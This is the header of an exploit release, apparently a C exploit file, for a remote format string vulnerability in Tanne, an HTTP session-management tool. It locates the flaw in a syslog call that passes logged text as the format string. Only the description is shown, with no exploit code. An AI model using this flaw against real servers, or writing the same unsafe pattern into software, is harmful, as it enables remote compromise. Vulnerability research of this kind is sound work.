** Title: Remote format string vulnerability in Tanne.
** [+] Exploit code: 0x82-Remote.tannehehe.xpl.c
**
** [+] Description --
**
** About:
** tanne is a small, secure session-management solution for HTTP.
** It replaces common sessions with a system consisting of PIN and TANs,
** well known from online banking.
** It's main purpose is to enable programmers of Web applications
** to have real secure sessions without cookies or session-ids.
**
** More detailed information is http://tanne.fluxnetz.de/.
**
** Vulnerability can presume as following.
** There is logger() function to 29 lines of 'netzio.c' code.
**
** __
** ...
** 65 syslog( LOG_INFO, txt ); // Here.
